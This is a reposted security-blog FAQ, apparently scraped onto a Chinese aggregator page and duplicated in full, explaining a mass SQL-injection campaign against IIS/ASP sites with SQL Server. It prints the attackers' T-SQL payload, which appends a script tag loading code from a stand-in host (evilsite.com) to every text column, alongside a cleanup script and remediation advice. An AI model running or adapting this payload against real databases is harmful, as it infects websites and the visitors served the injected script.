外国的注入技巧收集
来源:互联网 发布:bluestacks蓝叠 mac 编辑:程序博客网 时间:2024/04/28 21:28
The attack is targeting Microsoft IIS web servers. Is it exploiting a Microsoft vulnerability?
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
it locates and removes it with
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.
Yes and no. Web developers (or their employers who did not mandate proper security education) are to blame for each single infection, because the SQL injection exploited to infect the web sites is possible thanks to trivial coding errors.
That said, the attackers are targeting IIS web servers which run ASP for a reason.
Crackers put together a clever SQL procedure capable of polluting any Microsoft SQL Server database in a generic way, with no need of knowing the specific table and fields layouts:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This is the “secret sauce” which is allowing the attack to reach its impressive numbers, and it works exclusively against Microsoft database technology — but it’s a feature, not a bug (no irony intended this time). Anyway, the chances for such “powerful” DB technology of being used in conjunction with web servers different than IIS are very low.
So, to recap:
There’s no Microsoft-specific vulnerability involved: SQL injections can happpen (and do happen) on LAMP and other web application stacks as well.
SQL injections, and therefore these infections, are caused by poor coding practices during web site development.
Nonetheless, this mass automated epidemic is due to specific features of Microsoft databases, allowing the exploit code to be generic, rather than tailored for each single web site. Update: more details in this comment.
In my previous coverage of similar incidents I also assumed a statistical/demographic reason for targeting IIS, since many ASP developers having a desktop Visual Basic background underwent a pretty traumatic migration to the web in the late 90s, and often didn’t really grow enough security awareness to develop safe internet-facing applications.
What should I do if I’m the administrator of an infected site?
First of all, you should call your web developers (or even better, someone who specializes in web application security) and require a full code review to find and fix the SQL injection bugs.
In the meanwhile you should either put your database offline or recover clean data from a backup, but until the code review is done be prepared to get compromised again. Deploying a web application firewall may mitigate the emergency, but you must understood it’s a merely temporary work-around — the solution is fixing the code (learn from the United Nations tale).
If you’ve got no clean database backup, you could try to recover by brutally reversing the SQL attack:
DECLARE @T varchar(255), @C varchar(255);
DECLARE Table_Cursor CURSOR FOR
SELECT a.name, b.name
FROM sysobjects a, syscolumns b
WHERE a.id = b.id AND a.xtype = 'u' AND
(b.xtype = 99 OR
b.xtype = 35 OR
b.xtype = 231 OR
b.xtype = 167);
OPEN Table_Cursor;
FETCH NEXT FROM Table_Cursor INTO @T, @C;
WHILE (@@FETCH_STATUS = 0) BEGIN
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
FETCH NEXT FROM Table_Cursor INTO @T, @C;
END;
CLOSE Table_Cursor;
DEALLOCATE Table_Cursor;
This SQL procedure walks through your tables and fields, just like its evil prototype, but rather than appending the malicious JavaScript with
EXEC(
'update [' + @T + '] set [' + @C + '] =
rtrim(convert(varchar,[' + @C + ']))+
''<script src=http://evilsite.com/1.js></script>'''
);
it locates and removes it with
EXEC(
'update ['+@T+'] set ['+@C+'] = left(
convert(varchar(8000), ['+@C+']),
len(convert(varchar(8000), ['+@C+'])) - 6 -
patindex(''%tpircs<%'',
reverse(convert(varchar(8000), ['+@C+'])))
)
where ['+@C+'] like ''%<script%</script>'''
);
Notice that I’ve not tested my code above, and I’m just providing it as a courtesy: use it at your own risk, after doing a backup of your data.
Update: now it’s debugged and “tested” (i.e. it works) on SQL Server 2005 (thanks Scott), but the “use it at your own risk” disclaimer still applies.
- 外国的注入技巧收集
- 外国的注入技巧收集
- Sqlmap注入技巧收集
- Sqlmap注入技巧收集
- Sqlmap注入技巧收集整理
- Sqlmap注入技巧收集整理
- 外国wince学习论坛收集
- 外国wince学习论坛收集
- sql注入解决方法的收集
- 收集的小技巧
- 收集的小技巧
- RichViewEdit的技巧收集
- nmap的技巧收集
- CSS技巧的收集
- 零星技巧的收集
- 好看的外国电影
- 收集一些sql注入的经典文章
- 对依赖注入机制的资料收集
- 使用LINQ来简化编程的7个技巧
- 终于来维护自己的博客了
- Fedora更新yum,安装apt(转自非官方 Fedora FAQ)
- 解析暴库漏洞原理及规律
- ACCESS高级注入教程
- 外国的注入技巧收集
- 驱动防杀防删代码编程
- 新的VBS下载者代码
- 一段提取用户名和md5的代码编程
- 文件捆绑感染方式编程
- VB感染函数代码
- mplay cannot prepare subtitle font 解决方法
- 联想专业存储网络硬盘空间
- VIM:我的vimrc